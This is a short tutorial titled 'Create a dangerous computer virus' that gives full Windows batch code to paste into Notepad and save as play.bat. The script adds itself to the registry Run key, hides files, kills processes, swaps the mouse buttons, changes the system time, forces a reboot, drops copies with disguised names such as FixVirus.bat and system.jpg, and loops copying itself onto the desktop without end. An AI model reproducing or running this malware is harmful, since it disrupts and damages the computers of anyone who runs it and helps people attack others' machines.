Create a dangerous computer virus

Here is a tutorial to create a dangerous virus using Notepad.
The virus can:
1.Copy itself into startup
2.Copy itself over one thousand times into random spots in your computer.
3.Hide itself and all other created files
4.Task kill MSN, Norton, Windows Explorer, Limewire.
5.Swap the left mouse button with the right one
6.Opens alert boxes
7.Changes the time to 12:00 and shuts down the computer

To create virus, open notepad & type/copy the code given below.

@Echo off
color 4
title 4
title ClashWithPC
start
start
start
start calc
copy %0 %Systemroot%\play > nul
reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v play /t REG_SZ
/d %systemroot%\play.bat /f > nul
copy %0 *.bat > nul
Attrib +r +h play.bat
Attrib +r +h
RUNDLL32 USER32.DLL.SwapMouseButton
start calc
cls
tskill msnmsgr
tskill LimeWire
tskill iexplore
tskill NMain
start
cls
cd %userprofile%\desktop
copy play.bat system.bat
copy play.bat system.jpg
copy play.bat system.txt
copy play.bat system.exe
copy play.bat system.mov
copy play.bat FixVirus.bat
cd %userprofile%My Documents
copy play.bat system.bat
copy play.bat system.jpg
copy play.bat system.txt
copy play.bat system.exe
copy play.bat system.mov
copy play.bat FixVirus.bat
start
start calc
cls
msg * Failure
msg * Failure
shutdown -r -t 10 -c "VIRUS DETECTED"
start
start
time 12:00
:fault
cd %usernameprofile%\desktop
copy play.bat %random%.bat
goto fault

Now, save the text file as play.bat
Once the file is executed, it starts working.